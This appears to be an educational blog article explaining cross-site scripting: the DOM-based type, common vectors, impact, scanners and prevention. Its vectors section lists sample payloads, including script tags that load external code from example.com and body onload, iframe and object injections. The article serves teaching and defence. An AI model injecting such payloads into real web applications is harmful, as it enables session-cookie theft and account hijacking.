Cross Site Scripting (XSS) is one of the most well known and vulnerable attacks which is known by every pentester. It is considered as perhaps the most dangerous attack for the web applications and can bring harmful consequences as well.
XSS is frequently contrasted and compared with client side attacks, as client side languages are generally being utilized during this attack. Be that as it may, XSS attack is viewed as riskier, in light of its capacity to harm even less vulnerable technologies.
What Is Cross-Site Scripting?
Cross-site Scripting attacks (XSS) can be utilized by attackers to sabotage application security from numerous ways. It is regularly used to steal session cookies, which permits the attacker to imitate the victim. In addition to that, XSS vulnerabilities have been utilized to make social networks worms, spread malware, deface sites, and phish for credentials. They have likewise been utilized related to social engineering strategies to escalate to all the more damaging attacks, for example, private information retrieval.
Types of Cross-site Scripting Attacks
- DOM-based XSS :- DOM-based XSS is an advanced XSS attack. It is conceivable if the web application’s client-side scripts write data provided by the user to the Document Object Model (DOM). The information is hence read from the DOM by the web application and outputted to the browser. In the event that the information is inaccurately dealt with, an attacker can inject a payload, which will be stored as a component of the DOM and executed when the data is read once again from the DOM. A DOM-based XSS attack is frequently a client-side attack and the malicious payload is never sent to the server. This makes it much more difficult to detect for Web Application Firewalls (WAFs) and security engineers who investigate server logs since they will never at any point see the attack. DOM objects that are often manipulated incorporate the URL (document.URL), the anchor portion of the URL (location.hash), and the Referrer (document.referrer).
Common Cross-site Scripting Attack Vectors
The following is a list of common XSS attack vectors that an attacker could use to compromise the security of a website or web application through an XSS attack. A more extensive list of XSS payload examples is maintained by OWASP organization.
- <script> tag
<!-- External script --> <script src=http://example.com/xss.js></script> <!-- Embedded script --> <script> alert("XSS"); </script>
<!-- onload attribute in the <body> tag --> <body onload=alert("XSS")>
- <body> tag
- <img> tag
- <iframe> tag
<!-- <iframe> tag XSS --> <iframe src="http://example.com/xss.html">
- <input> tag
- <link> tag
- <table> tag
- <div> tag
- <object> tag
<!-- <object> tag XSS --> <object type="text/x-scriptlet" data="http://example.com/xss.html">
Impact of Cross-Site Scripting
At the point when attackers succeed in exploiting XSS vulnerabilities, they can access account credentials. They can likewise spread web worms or access the user’s PC and view the user’s browser history or control the browser remotely. After gaining control to the victim’s system, attackers can likewise analyze and use other intranet applications.
By exploiting XSS vulnerabilities, an attacker can perform malicious activities, such as:
- Hijack an account.
- Spread web worms.
- Access browser history and clipboard contents.
- Control the browser remotely.
- Scan and exploit intranet appliances and applications.
XSS Testing Tools
As Cross Site Scripting attack is one of the most popular vulnerable attacks, there are a lot of tools to test it automatically. We can find different scanners to check for possible XSS attack vulnerabilities – like, Nessus and Nikto. The two of which are considered as very reliable.
How to Prevent XSS
- Treat all client contribution as untrusted. Any client input that is utilized as a major aspect of HTML output presents a danger of a XSS. Treat input from authenticated as well as internal users a similar way that you treat public input.
- On the off chance that the user input needs to contain HTML, you can’t escape/encode it since it would break valid tags. In such cases, utilize a trusted and checked library to parse and clean HTML. Pick the library depending on your development language, for instance, HtmlSanitizer for .NET or SanitizeHelper for Ruby on Rails.
- To mitigate the outcomes of a potential XSS vulnerability, additionally utilize a Content Security Policy (CSP). CSP is a HTTP response header that lets you declare the dynamic resources that are permitted to load depending upon the request source.